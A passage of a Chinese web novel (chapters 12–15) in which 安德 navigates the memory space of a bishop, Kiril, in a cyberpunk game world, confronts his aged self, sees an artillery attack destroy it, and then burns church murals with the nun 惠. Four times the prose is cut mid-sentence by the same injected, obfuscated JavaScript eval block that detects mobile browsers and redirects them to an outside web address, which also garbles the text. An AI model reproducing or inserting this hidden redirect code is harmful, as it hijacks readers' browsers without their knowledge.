“没事,你不要乱动,找个安全的地方待着。那个……你的挂件负责实时给我汇报情况。”安德以为是安排得不够明白,站定分任务,说的时候还把和泉的名字给忘了。 看着对方进了教堂,魏玛只能无语站着。 . 安德顺着记忆中的原路向前移动,她通过甬道拉开地牢大门,确定了这个时候还没有地道。 “你们当时的入口在哪里?”安德在频道里问。 和泉:【我在。姐姐你看看能不能找到教堂的后门,我印象中一上岸就看见了的,白色的一道很窄的门。那个洞很大,就在门的附近。】 魏玛:【……这个怪胎为什么一动不动,好像块石头。】 安德嗯了一声,看到了那扇窗户。 位置没有变,只是那一年刚好还没装铁框。 安德攒劲跃起,双手精准地抓住了窗框边缘,悄无声息地翻上了窗台。 这座建筑的样式复杂,越复杂弱点就越多。 安德迅速起身,摸索着每一处微小的裂缝和凸起,将一条腿勾进二楼露台的栏杆中,整个人翻身而上,动作轻盈如同落叶。 露台的栏杆上爬满积雪,绿色的光泽落在上面。 安德抬起头,看到了夜空中的极光。 极夜的时候是会有极光的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718917|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是班上一个富二代告诉大家的。 富二代每年都会跟着家人世界各地旅游,网络全平台发照片,然后给全班同学带外国巧克力。如果有需要通关的游戏,就会单独给安德送一份整的。 富二代那次把某个印着极光图案的巧克力放在安德桌上,她转手挂在了二手平台,第一次知道巧克力也能卖到四百多。 安德看到了极光,跟那年巧克力包装纸上的一样好看。 她想了想,调出「备忘录」留了张照片。 接连着露台的是一扇窗户,安德走到旁边伸手一撑翻了进去。 屋里的墙壁几乎被高大的架子填满,摆满厚皮书,空着的地方挂着石雕。 这里就是第一教堂的藏书室了。 架子后面是道很原始的镜墙。光线非常昏暗,安德只能看见自己模糊地映在里面。 每一本书都又大又沉,表面经过简单的鞣制和硬化处理,能够抗住严寒潮湿。书脊都是用绳线加固过的,多是经文。其余就是岛史记载,以绘画为主,线条简洁,但可以看出是一些生活场景。 奇怪的是,安德觉得这里的装修虽然属于寒冷地区,但还是似乎不太符合文德尔港极端的气候。 安德翻书的手突然停住了,但是翻书声没有停。 那个镜子里的人还在翻书。 她往后一退,桌上的笔已经抄在了手里。 那个人捧着一本体积并不大的书,和这里的其他书并不一样。 就在安德屏住呼吸随时准备进攻的时候,一声熟悉的称呼传来。 “玛蒂尔德。” 镜子里的人变成了两个。 安德条件反射猛地回过头,看向自己的身后,什么人都没有。 窗外的极光在流动,只是一瞬间照射的变动,安德发现那根本就不是什么镜子,而是一道粗砺的玻璃。 对面是一个平行的藏书室,原来大的对折空间里还镶嵌着一个小的对折空间。就是这道沙子、纯碱等原料烧制成的玻璃墙,划分了两个时间段。 既然她能看到对面,那就说明对面随时可能会发现她。 安德钻进桌底,看后来的那个人影慢慢靠近,穿着主教的衣袍。而他前面的那个听到声音就立刻拉开抽屉将书塞进去的女人,金发蓝瞳。 冯老师。 安德打量了一下身边的书桌构造,以对称的位置去寻找,冯老师将手里的书塞进了左边第二格中。 离她很近,但是里面什么也没有。安德想到了刻舟求剑的故事。 “你来我这里,是来偷‘原型’的手稿吗?”基里尔幽幽地问。 这个时空中的他更像一具干尸了,可以看见皮肤下青色的血管在跳动。 和泉:【安德姐姐,你那边是遇到什么事情了吗?我怎么听见了“原型”两个字?】 魏玛没有说话,直接发来了“共享”的申请,安德点了同意。 共享眼前的场景后,耳边一齐响起深呼吸声。 魏玛:【只能说……他不神经症谁神经症?我第一次见到在脑子里建三室一厅的。】 12. 幽灵家族(十二) 玻璃的那边,冯老师缓缓转过身,她很快就变得镇静。 “基里尔,你听着,我现在能……能看见了,我能理解你了!所以我绝对不会告诉村民发生了什么,那艘回来的船,我绝对会当作什么都没有发生过。”冯老师压低声音,脸色铁青地试图交涉。 “逃走的人都死在了海里,他们没有在十三年后寄回一条船,外面也没有其他世界。文德尔港就是最后的陆地,我们都能活下去。” 魏玛:【这岛上有一部分人曾经逃了出来,应该是成功地偷渡进了天穹里面。但是岛上的人们不知道天穹,所以一厢情愿地认为他们死了。结果很多年后,成功的人们开回来了一条先进的船。】 和泉:【那他们崩溃什么?】 安德静静地听着频道里两个NPC的交谈声。 魏玛:【和泉,如果你是个住在山洞里的原始人。你一直以为世界就是这个洞,而你在洞中什么都不缺,是洞里最幸福的人。这个时候,如果有人跟你说,其实外面挺好的呀,咱们出来吧。洞里的都是虚假的,外面才是真实的世界。你会怎么办?】 和泉:【那我会往外走的吧,然后走到洞口的时候……会有点害怕。】 在洞中那个世界里,你出生,努力,获得了想要的一切。看着虚假的太阳和月亮,你不知道它们只是假的,只知道它们很美。 但是你走出了洞,面对从没见过的广阔天地,仅仅是抬头看了一眼真正的太阳,就被光芒刺瞎了双眼。 安德看过学校组织的一场电影,讲的是一个在船里度过一生的人,在船即将报废的时候,他也没有下船走向陆地,选择和船一起沉没。 “偷不走的。”基里尔自言自语。 他面无表情地拉开最上面的抽屉,从里面拿出了一张画像。冯老师看见了这张画像,只是轻轻瞥了一眼,就神情痛苦地别开了脸。 安德看着对面的位置,伸手慢慢摸上去,掰开她头顶的那个未上锁的抽屉。 这次她真的找到了东西。 一张满是洞的老旧纸张,上面画着一个家族。男女老少,他们都是黑色的头发,脸全部被铰了下来,只剩最中央穿着那件熟悉衣袍的金发男孩。 绿色的瞳孔如极光在静静流转。安德终于想起怎么形容他们的眼睛了。 这张纸的右下角应该留落款的地方没有什么“斯特拉霍夫”,而是写着“Egami”。 魏玛在频道里反复读了几遍,然后她突然问出口。 【……江上?】 . 安德穿过露台的另一边,趴在屋檐上看见了地下室的第二个入口。 从这个位置还可以看见魏玛远处的背影,她躲在教堂那扇正门后面,前面的基里尔和船依旧一动不动。 安德发现屋脊上有备用的软梯。 她很快就顺着软梯爬了下去,一头扎进黑黢黢的大坑中,在和泉的全景导航功能里朝着最核心的位置飞奔起来。 脚下的地面和现实中完全不同,潮湿黏腻。 安德闻到了铁锈的气息,这代表着她离要找的地方越来越近了。 洞穴深处,泛出幽蓝光泽,宛若凝结着莹莹鬼火。 四周的墙壁覆盖着冰霜,浮现出了无数张脸,然后是他们的身体形状,就像长在墙里一样,可以看出生前的最后模样。 魏玛:【和我们之前看到的不一样,这是老怪胎想象出来的。在他记忆里,这里早就是人间地狱了。】 安德感觉到了有液体掉下来,擦过她的脸,贴着下颚流去。她没有伸手去摸,因为她能感觉出来这是血。 她把头抬起来,频道里传来和泉的尖叫。整个上方连成一片,塞满了大小不一的脸。 洞穴的中央,一艘大船静静停泊。 船边坐着一个衰老的怪物。他的头发如银丝般垂落,不断向外延长到甲板上。船体和他的头发相连,如同长出了神经。 他穿着安德在岛上第一次见到他时的衣服,这大概就是基里尔在记忆里的完全形态了。 老怪物的衣袍被冰霜覆盖,身体与这地方融为一体。 【十分钟后,上面见。】 安德在频道里发了一句文字,在魏玛一声哎中掐断了同步。 基里尔回头的时候,看见了洞穴的来者。 来者无声无息地穿过地狱,身影在一片寂静中格外孤单。 魏玛说过,【临摹】本质上是心理暗示能力。 安德目前还没有能力可用,但她想既然有人能在意识空间里进行扮演,就说明意识空间的可操作性大于现实。不论如何,这种思路值得尝试。 基里尔缓缓起身,伴随着身上冰霜开裂的声音。他的动作非常僵硬,有理由相信他的血肉已经被连接在船上的头发吸收殆尽 他弯下腰,双手合十,然后慢慢地匍匐下去,膝盖在冰面上发出沉重的闷响。 安德想起了那天满船的人,也是这么跪她的。 “……今晚是鲁厄,我第一次为您穿上长袍的时候也是鲁厄。”听上去渺远地像个鬼魂,回荡在他身后空旷的洞穴。 “袍子是母亲为我缝制的,她骄傲地为这件衣服熬坏了身体,就因为我那一年成了教会学校学习最好的小男孩。” 安德没有吱声,扮演一座安静的神像。 她能感觉到基里尔有很大的倾诉欲,恨不得他不仅能跟她上去,还能悲从中来、心绪起伏,把剧情全透了。 不知道那些专业人士现在排查到什么地方了,又能留给她多少时间单独行动。 安德回想着画像。在这争分夺秒的时刻竟然有点放松下来,现在她有十分钟时间抽离出自己的破事,扮演另一个人。 基里尔依偎着身侧的大船:“玛蒂尔德曾经跟我说过一句话,她说没有所谓命运这种东西,一切无非是考验、惩罚或补偿。亲爱的主,我要走了……” “你走不掉的。”安德打断了他。 基里尔猛地抬起头来,安德看到了他空白的眼球,正在汩汩向外涌出黑色的血,源源不断地渗进地面。 “你走不掉的,”安德冷漠地重复了一遍,“有人要替你走了。” “谁?”他大惊失色。 “当然是我所拣选的,最心诚的仆人,基里尔.费奥多罗维奇.斯特拉霍夫。”安德说。这是她在藏书室找到的名字,和老阿列克谢完全相同的后缀。 “他正值青年,作为文德尔港最优秀的神职人员供奉于我,我决定给予他自由远去的权利。这权利我曾夺了,但为了他我愿意舍回来。” “我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718918|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是基里尔.费奥多罗维奇.斯特拉霍夫。”他反驳道。 “你都老成这样了。”安德说。 “我当然会老!”基里尔崩溃地摊开枯柴般的手指,“我为您奉献了一生!” 安德用一种无情地目光扫视着他:“怎么证明?” “我已经发了永愿,心中只有安德利亚斯。我从来没有想过离开这座岛。就算我的族人全部逃跑了也无所谓,我不在意,我知道他们的下场一定是被海水吞噬。”基里尔想往安德的衣角靠近,但是被冗长的头发绊倒在地。 “我们居住在最后的乐园,世界之外没有世界。我接受他们的自取灭亡,我日日祷告他们的罪行获得原谅,在冰海深处得到真正的安宁。” “我为了他们的错误一直心怀恐惧!十年前,玛蒂尔德来到了岛上,她给我们带来了新的技术,岛上的日子越来越好了。我觉得安德利亚斯已经原谅了我们,并且给我们派来了神使。如果不是几年前,我在和玛蒂尔德的交谈中,得知了她竟然和我的族人是同一种想法!”基里尔痛哭流涕。 “因为艰苦,所以他们承受不了这份考验,因为承受不了反而去怀疑主的存在!所有人都会离开,既然这样,所有的背叛者都应该被冻死在最深的地狱中!” “说得好听。”安德说,“但是你也要走了。” “……后来有一条船出现在岸上,是十八年前的背叛者们驾驶回来的,还选择了鲁厄这天晚上。” “原来外面真的有世界。” 这句话一出,看不见的地方,他空白眼球里的最后一丝燃烧的怒火也熄灭了。爱与恨都可以,最害怕的是什么都消失了。 他第一次见到神的时候还很小,提着小小的灯穿过教堂的长廊,暗自发下永愿。 现在他在哭泣,不知道是不是在哭这个他始终无法掌控和真正理解的世界。 基里尔坐在地上,安德看着他:“跟我走吧。” “海的那边有一道墙,我带你去往那边的新世界。那个世界一座高塔巍巍矗立。安德利亚斯在上,你们最后都会去那里,”她说,“但是你要先向我证明一件事,证明你才是真的基里尔。” 安德指着上面:“我说了,今晚有人要代替你走,就在教堂的前面。” 说完,她抬脚就要走,直到感觉裤脚上有一只手。 “我……我可以证明,证明了我就可以走吗?”基里尔的许多头发被他这个动作挣断了。 安德转回身体,居高临下地凝视着他:“当然,我不仅许你自由的权利,还要给你一件礼物。” “礼物?”基里尔愣住了。 已经无数年,没有收到过礼物了。他低下头去看,仿佛一个儿童正在期待什么。 安德点头,将它们从口袋里掏出,轻轻在他面前打开手掌。 两颗翠绿的眼珠静静躺在她指间。 这双被洞穴吸干的眼睛,他年轻时的眼睛,和他的族人一样的眼睛,证明了他曾经是通过他的母亲来到的这个世界。 “跟我走吧。”安德收回那双眼睛。 基里尔跟随视线抬起头,仰望着高高在上的身影。 和洞穴里的这些脸的链接断开后他就失去视觉,变成了一个真正的瞎子。他眼窝凹陷,只剩下两个漆黑的洞。 13. 幽灵家族(十三) 安德的信号再次出现在频道里的时候,和泉惊喜地和她打招呼。 魏玛:【你怎么能把我一个人扔在上面就断联啊?】 安德:【对不起,我现在就上来。】 这一句道歉把魏玛的话全塞回去了。 都说伸手不打笑脸人,这位虽然不怎么笑,但是认错态度足够好。 和泉:【姐姐,现在什么情况?】 安德:【我在你们后面。】 魏玛闻声转过了头,看见了安德和一只匍匐在地的白毛怪出现了。她意识到这就是地下室里的基里尔,侧身给行动艰难的他让位。 和泉:【安德姐姐,你怎么让他上来的?】 安德跳过那部分扮演内容,简单地概括:“把他们变成竞争关系,然后把这种竞争关系告诉他。” “人的身体有基础的排异功能,如果他能自己治好自己,倒是省的执法人员进来大动干戈了。”魏玛低声自语,说着她左右不耐烦地望了一圈。 “可以这么理解。”安德说。 基里尔在她的目送下正向着海边的背影艰难行走。 “我有种不好的感觉。既然这里亮红灯警告了,为什么到现在一个执法人员都没出现?”魏玛皱起眉头。 安德看向她:“他们一直这么慢吗?” “当然不是,”魏玛说,“空心病发病周期不明,有的非常快。如果次次都拖到亮红灯了还不出现,很可能在现实世界造成危险。” 在魏玛的判断中,安德作为一个记忆受过伤的黑户,不知道意识执行的流程很正常。 毕竟天穹世界里注册的正规人员凤毛麟角,也不是人人都有她的黑科技能力。 “不该对这群官老爷们报太大期望的,”想到这里,魏玛又多说了一句,“说真的,他们早就该把税退给我们了。” 【情报已更新——“空心病”】 【虚无吞噬意义,暴力填补绝望。警惕精神黑洞,守护认知稳定,预防社会暴乱。 疾病并非不可治愈,早期发现与干预是关键。请勿忽视自身或他人的心理状态,共同守护天穹世界的意识安全。】 安德看到了系统里的提示,立刻点头表示她理解,并自己在心里简单地串联了一下关于意识执法的相关情报。 和泉提到过,PI值和病症之间没有必然关联,否则“空心病”会比现在好筛查很多。但数值突然飙升属于防治“空心病”的一个关键指标,宁可错杀绝不放过。 “空心病”是当前世界观的第一难题,因此天穹世界的核心安全问题是意识安全,它的最高机构为此架构了“心灵之镜”系统,使用“原型”体系用于防治该问题。 一个高度发达的社会,有这种先进系统太正常了。 《往日之人》毕竟是个赛博朋克游戏,即使现在被文德尔港的剧情带得有些原始风格。 让安德意外的是,那两个基里尔看到对方之后,预期的争夺没有发生。 他们都面容憔悴,头发被风刮得凌乱,颤颤巍巍向对方走过去。 连魏玛也怔住了,没有嘲讽什么。 她在想,都说自己和自己才是世界上最血脉相连的人。一个患了空心病的人,记忆中最亲近的或许只有自己。所以基里尔即使瞎了,也能看到自己,他现在只能看到自己了。 其中一个基里尔竟然变回了童年,正是那副小学徒的模样。 “你后来……”男孩的声音像是从很远的地方传来,“找到神了吗?” “我和你讲一个故事吧,这个故事是我在一本书上看到的。”基里尔的声音很平静。 “从前有一群人,生来就被锁在黑暗的洞穴里。他们看着墙上的影子,以为那就是真实。后来有人挣脱锁链,看到了洞外的光。但是可笑的事情发生了,那个人最后……居然自己爬回了洞里。你知道为什么吗?” 穿着学徒衣袍的男孩摇了摇头。 “多简单的一个问题,阳光太刺眼了。” “所以他选择回到黑暗中。继续给其他人讲述墙上的影子。” 望着两人间并不算长的距离,每一步却那么沉重,仿佛是踏在了岁月的废墟之上,隔着一道永远跨不过的天堑。 “这就是我的故事。”基里尔说。 这些年来,他站在最宏伟的布道台上,黑袍纤尘不染。愚昧的渔民们称他“主教”,将最隐秘的罪孽倒进他耳中。 文德尔港的钟声每天准时响起。 安德利亚斯的信徒们总是跪在他脚边哭泣,将他当作坚固的桥梁,当作圣洁的信使,却没人发现他的黑袍下的血迹。 “都结束了。” 基里尔的声音很轻,像是说给自己听的。他低头看着自己布满皱纹的手,这双手在杀人之前,参加过无数场弥撒,听过若干次临终忏悔,为无数人施洗、祝圣、送终。 “但我不后悔!”他突然提高声音,近乎咬牙切齿,“一点也不!” “神圣的主,我恨死您了。”他垂下头。 “就是您害得我一辈子人不人,鬼不鬼,你害得我一生都得做您的仆人,却从不告诉我一生该怎么度过。” “我十三岁就能背诵无数书籍,曾经认为应该穷尽一生找到世界的尽头,您一定在那里等我。后来我成为最年轻的主教,掌管整个教堂。可我如今那么大年纪了,还是不知道,我到底在侍奉什么?” “您教我宽恕所有人的罪,却从不宽恕我的怀疑。” “您让我聆听所有人的忏悔,却从不回答我的问题。” 他扯开领口,露出一块陈旧的伤口。 “从小我就知道,这双绿眼睛生来就是要侍奉神的。” “所以我不交朋友,也不说话。孩子们把我当成怪物,用烙铁烫我,往我的经书上泼墨水,在我的午饭里放虫子。” “后来我发现,只要躲进教堂就安全了。” “我总是一个人坐在最后一排长椅上,仰头看穹顶的壁画。您的蓝袍子,天使的金翅膀,还有您的眼睛,您的表情……” 他苍老的脸上浮现出笑容,他对面的男孩也微笑起来。 “躲在您的画像下面,我得到过庇护。” “所以十八年前那个晚上,他们都走了,我也没有走。” “我绝望,我愤怒,我不敢相信他们放弃了从小到大灌输给我的职责,为了可笑的自由放弃了文德尔港。” “只有我一个人留了下来。我每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718919|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天擦拭圣器,整理经文,假装听不见脑中不停传来外面的声音。我告诉自己这是忠诚,不愿承认其实只是害怕。 “明明是我自己不要走的,明明是我不敢离开您,却一直不愿意承认……” “当外面可能藏着另一个世界的真相时……我好害怕。” 他以为他早已看破一切。 直到他白发苍苍、罪恶滔天地回来,望着对面那个穿旧袍子的小男孩,依旧是心如刀绞。 “算了,这被诅咒的家族,这被诅咒的一生。此怨此恨,流向地狱。” 十来岁的自己正仰头看他,眼睛明亮,就像教堂彩窗漏下的光。 男孩的鞋子旧了,却擦洗得干干净净。 “我知道我甚至没有机会得到您亲自的审判,我恨您……但我要谢谢您。” “谢谢您注视过我,谢谢您收留了小时候性格古怪的我,谢谢您最后真的来见了我一面。” 基里尔转向另一个方向,从口袋里颤颤巍巍地掏出了那双眼睛。 “谢谢您,还愿意……还给我。” 他又想起他的母亲了,那个记忆里面目模糊的女人。 响起她的声音,她曾对他说,基里尔,你的眼睛是安德利亚斯的礼物,借由它们,你将一生与神、与我们站在一起,受到永世的庇佑。 那群十八年前离开文德尔港的族人们,他们漂浮在黑白相间的冰海之上,点亮眼睛里极光般的绿色。 幻想之中,他们正向他招手,作为家人欢迎他的归来。 “……人的心很容易生病的,因为它总是这样爱恨交加。”魏玛说。 老怪物正是朝着她们的方向,安德知道。 但她背对着一言不发,也没有回头。 “这说明现在空间出现了破绽。”魏玛压低声音。 “在空间没那么稳固的时候,层级之间可能会发生错位,记忆实体发生变动,是最危险也是最有机会的时候。” 【小心!】 和泉的声音和一声轰然巨响同时响起。 魏玛没有反应过来,就被一股强硬的力量摁了下来,顺势拖进了门扉后面。 是安德,她的杀戮直觉在意识空间里被放大了。 魏玛能感觉到她浑身都在蓄力,提着一把漆黑的长刀,出鞘划过前方,深深插进地面。 刚刚爆炸的是重型火炮的榴弹,这种武器产生的破片可以将人肢体分离。 魏玛看到安德在盯着远处,那个满头白发的基里尔被冲击力瞬间撕成两截,血红的喷泉向上方涌出。 另外一个基里尔甚至没有来得及发出凄厉的惨叫,火炮声一发接着一发响起。 他的上半身被抛向空中,四肢胡乱挥舞,下半身则留在原地,血肉模糊。 附近的教堂建筑和船体都被瞬间点燃,炽热的气浪如狂风暴雨般席卷而过,爆炸产生的冲击波将她们掀翻在地。 魏玛感觉到了龙卷风般的吸力,如果不是安德抓着,她就不是被震得耳膜嗡嗡作响和身体麻木那么简单了。 即使是第一时间安德就抓住了魏玛,魏玛也花了将近半分钟才反应过来。 安德感觉到身体在迅速下沉,惨烈的场景逐渐远去。 14. 守望者(一) 和泉浑身发软,麻醉劲还没过去,只能手脚并用地在碎石堆里爬,往安德和魏玛脚边挪。 “嚎什么丧呢。”魏玛撑起身子,脑壳疼得像被铁锤抡过,眼前直冒金星。 和泉的声音钻进耳朵,烦得她太阳穴突突直跳,抬手就照着他脑门来了一巴掌:“别吵了。” 是和泉在千钧一发之际将她们两个拉出了意识空间。 安德躺着,她睁着眼睛仰望天空中的极光。和基里尔记忆里的一样,但比记忆中多出来的是直升机群,和银色的数据线。 “亏死了,就差一步,还是让官方给抢先拿下了。”魏玛心疼这次悬赏得要死。 “活着就好……要是大姐出事了,我不知道以后要怎么活下去了。”和泉说。 安德拍拍膝盖上的尘土:“每次都是这么结束的吗?” 魏玛咬牙切齿着摇头。 “这就是执行专员的效率?” “不……这次的效率高了很多。应该说,我偷渡过那么多次,这次出现的是我见过效率最高、也是最流氓的暴力团伙。” 安德记得魏玛说过消灭核心区域有两个方法,本人自愿,或者暴力推平。 她第一次就见到了后者,甚至都没有看清他们的身影,只有扑面而来热浪的余温似乎还在脸上。 这群人神兵天降,用着极其高调的武器,无差别扫射一切,将基里尔的意识空间捣得稀巴烂。 魏玛喃喃自语地皱起了眉头:“有点问题。效率高得反常……这次的人没有纪律,挺疯的。按照操作手册的规章里所说,秉持人道主义原则,暴力推平要很复杂的申请流程,很麻烦的,所以从来都不是首选。” 安德将她说的话静静地听进去,接着问:“基里尔是死了吗?” “嗯,都结束了。实体炸成灰,现实中也就死了。一会儿我们可能会碰到他的尸体,也可能不会。” 魏玛指着空中的直升机,告诉安德那里面现在应该坐满了专员,他们正在清理意识战场。 安德点头跟她道谢,接着站起来。 第一教堂在她们进意识空间前就是废墟了,安德踩着碎砖头和积雪往下走去。 魏玛在身后叫了她一声:“你干什么去?” “怎么了?”安德问。 “我们不是之前说了,要一起做悬赏的吗?”魏玛有点急了。 安德并不记得准确答应过她要合作,只是不知道魏玛为什么这个时候要提起。 “你要我和你一起回天穹世界?”她问。 “……对啊。”魏玛被噎了回去。 安德并不在意地继续往下走:“好的,你们在这里等我一下。” 魏玛想直接跟上去的。但是她瞅了眼脚边还处在半麻状态下的和泉,他有点可怜,抓着她的衣角。 她朝着安德背影喊了一声“那你快点回来”,接着嫌弃地在他旁边坐下来,被迫陪同等待。 “再往我身上蹭眼泪,我就把你宰了。”魏玛说。 话是这么说,却也没真动手。魏玛只是仰头看着阴沉沉的天,想着下一步怎么办。 她往旁边挪了一点,结果这蠢货又跟过来。 反复几次后终于放弃抵抗,任由他挨着袖口坐着。魏玛扶额闭上眼睛,像个被碰瓷的老太太。 . 安德一路从东往西跑。 到锡安教堂的时候,惠正在里面打扫卫生,看到安德就扔下扫把跑过来。 去地下室之前,她让惠在这里等她。 安德在这一瞬间,深刻地感受到这位修女的可靠。仿佛无论发生什么,她都能坚守岗位,完成使命。 “结束了,我回来烧掉这些壁画。”安德说。 基里尔的临终之言提醒了安德,她理解了《燃烧安德利亚斯的画像》的含义。 必须这么做。这些壁画上画满了她的脸。 从外来者的行为来看,他们对这座岛是充满进攻性的。 凭他们在基里尔脑子里狂轰滥炸的行事作风,就绝对不能让他们看到“神”的脸,否则她后面的剧情可能会很困难。 惠连连点头。 安德发现冯老师还趴在桌前,没有人来料理后事。 她在基里尔的记忆里目睹了太多片段,差点忘记这个世界里才过去一天。 惠将忏悔室的书柜依次打开,一股浓烈的干燥气息扑面而来。里面存放的并不是书,而是满满当当干燥的易燃物。 干草、干树叶和松树枝,捆绑成了易于搬运和放置的束状。 干草层层叠叠地堆积着,从底层一直延伸到橱壁的高处,太多了,已经顶到了天花板。 草尖相互交错,枯黄与褐红上下贯穿,随着开合柜门的风势轻轻摆动。 “我懂,不可以让外面的人知道我主的真容,”惠从里屋拖出一大桶白色的凝固物,“我们把……冯老师一起烧去吧。” 安德一看到这桶东西就知道该做什么。 某种动物的油脂,冯老师把它藏在这里就是等待着这一天。 能让火势更易蔓延到壁画上,也能加速燃烧,留给他们毁尸灭迹的时间不多了。 安德用梯子爬到上面用刷子刷,再下来帮惠把大大小小的干草捆子摆满教堂。 每一根柱子,每一面墙体,每一处屏风,每一个隔断,每一条楼廊,每一间藏书室。 安德和惠举着火把站在穹顶下面,飞快看了最后一眼开始烧。 干草和干树叶让火势很快就成型了,松树枝富含松脂,即使是在寒冷中也烧得旺盛。 久居极夜中的教堂,今日像是刮了一层火红的光般灼目起来,燃起焚天灭世的大火。 惠似乎不是一定要离开,她看着安德。 她已经完成了使命,下一步要取决于安德是否需要她。 安德在现实生活里的世界其实很小,交际圈子也不大。 她从小就性格冷淡,在公会里下副本也就是赚点吃饭钱,很少共情。 但此时此刻,安德知道自己不能丢下她。 她和这座城里的怪人们一样叫她“我的主”,这句话就好比她交付了信仰,然后就是安德的人。 好像有怪怪的责任在身。 安德将她的脑袋按住。 惠感觉到安德的胳膊把自己的夹的死死的,并抬起拿着绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718920|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索枪的手,克制地压抑自己的呼吸,瞄准钟楼顶端那根栏杆。 惠知道了安德打算带自己走。 于是立刻紧紧抓住安德腰上的绳子,毫不松手。 火焰侵蚀着壁画。 闪烁的火光中,原本明亮的金色被烧成了黑褐色。人像边缘处开始剥落,化作一片片带着火星的碎屑。 狂风在耳边肆虐,她们向着钟楼飞速掠去。 惠的修女衣摆被狂风高高卷起,在火光里像一朵小小的、用来祭奠的白花。 她们落在钟塔的外墙上。惠扒住夹缝,紧紧贴在石壁上,惊魂未定地喘息。 安德迅速将绳索枪收起来,握住惠的手,将她拉到身边站稳。 “末日审判终将到来,不得救赎者沉入硫磺火湖中永远灭亡。”惠依旧是习惯性地默默念着。 这次她的祷告谁也不能救了。 岛上的古老建筑、寂静街道,此刻都显得无比脆弱。火光映照在她脸上,她只能默默地承受,默默地见证。 “等直升机被引过来之后,我们可以从西边离开。”安德说。 惠的脸被烘得滚烫:“我也可以走吗?” “你想走吗?”安德反问,“你上一次没有走。” 惠一愣,意识到对方应该清楚了一些往事。她低下头思索着什么,然后深深呼吸。 “我听老人们说起,说很多很多年前,江上一族来到岛上,逐渐和原住民斯特拉霍夫通婚融合,给他们带来了绿眼睛和神眷。然后十八年前,又一船人就这么走了。现在保持族内体貌特征的后代不剩什么人了,我就是其中一个。” “所以基里尔的血统更接近斯特拉霍夫,而你更接近江上氏族。”安德说。 惠点了点头:“到我们这一代的时候,最聪明的却是更接近斯特拉霍夫的基里尔。这很让人惊讶,那个时候很难见,因为血缘更接近江上一脉的人各方面都显示出了优势。” “我猜想可能是基里尔母亲的原因吧。可惜我不太记得她了,但是我隐隐约约听人提起她的过人聪慧和疯狂,基里尔仅仅是遗传了她的一部分,就远超其他族人。” “不过也给他带来了不幸,他早慧的同时也表现出了与其他人格格不入的一面,他不爱说话,敏感,焦躁,容易激动,早年间与人相处很困难。” “我一直想问你,”安德说,“上次你说的,就是岛上女人远比男人少,尤其是年迈的女人。” “是这样的,近些年已经好很多了。”惠继续点头,“原来这座岛上女人大部分都是江上一族,她们在十八年前一走而空,直到后来又养出新的一代人,才好些了。” “他们走了之后,主教从不谈论起。正如您所见,现在有绿色眼睛的人基本都是斯特拉霍夫。”惠说。 “我早就没有父亲母亲了。所以十八年前,我没跟着船离开。” “那艘船会开到哪里去呢?也许是去很远的地方吧,天空特别蓝,非常暖和。那里很美,有会开花的树,有不会结冰的海。”惠笑了。 “可我在这座教堂待了那么多年,一出生就是文德尔港。外面的世界很美很大,我却没有地方可以去呀。” 15. 守望者(二) 安德带着惠回到第一教堂时,看到了建筑二次坍塌的痕迹,花了几分钟才找到魏玛他们。 两个人躲在夹层板下,被碎石块埋住大半。 魏玛躺在和泉膝盖上紧闭双眼,和泉抱住她的头,整个身体护在她上面。安德喊了他一声,他立刻就抬起头来,但是身体丝毫不敢动。 魏玛不是晕过去了,她的脖颈上再次插满数据线。 和泉护着她,在直升机的风压下眼睛里流窜着乱码。他看上去要崩溃了,能看到安德走过来,但被精神压力压得无法开口。 重赏之下必有勇夫。安德本来以为魏玛已经放弃,没想到她还是折返回去了。 “人都死了,现在回去还能做什么?”安德问。 “……那群人一直还没出来,这说明他们仍然没有找到‘弹珠’。” “什么‘弹珠’?” “它就像病原体。记忆核心区域的‘本体’被毁灭后,就能找到这个黑色玻璃球,他们有专业收容设备。” “所以你们想当着那么多人面偷走它。” 似乎和泉也知道这是很可笑的想法。 